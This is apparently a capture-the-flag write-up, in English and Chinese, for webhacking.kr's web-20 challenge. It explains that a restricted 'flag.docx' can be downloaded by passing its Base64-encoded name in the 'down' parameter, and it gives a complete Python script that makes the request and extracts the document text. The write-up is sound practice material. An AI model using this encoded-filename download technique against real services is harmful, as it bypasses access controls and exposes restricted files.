Challenge
Download the restricted document by encoding its filename.
对文件名编码后下载受限文档。
1
| https://webhacking.kr/challenge/web-20/
|
Analysis
下载参数 down 接受目标文件名的 Base64 表示。将
flag.docx 编码得到
ZmxhZy5kb2N4,服务端因此返回受限 DOCX。DOCX 是 ZIP
容器,正文位于 word/document.xml;读取其中的
<w:t> 节点并按文档顺序拼接,就能还原文本。
Solution
以下脚本完整执行构造 Base64 文件名、下载 DOCX、提取正文的步骤:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from __future__ import annotations
import argparse import base64 import io import zipfile import xml.etree.ElementTree as ET
import requests
WORD_NS = "{http://schemas.openxmlformats.org/wordprocessingml/2006/main}"
def extract_text(docx_bytes: bytes) -> str: with zipfile.ZipFile(io.BytesIO(docx_bytes)) as archive: xml_bytes = archive.read("word/document.xml") root = ET.fromstring(xml_bytes) return "".join(node.text or "" for node in root.iter(WORD_NS + "t"))
def main() -> None: parser = argparse.ArgumentParser() parser.add_argument("--url", default="https://webhacking.kr/challenge/web-20/") parser.add_argument("--filename", default="flag.docx") args = parser.parse_args()
encoded_name = base64.b64encode(args.filename.encode("ascii")).decode("ascii") response = requests.get(args.url, params={"down": encoded_name}, timeout=20) response.raise_for_status() print(extract_text(response.content))
if __name__ == "__main__": main()
|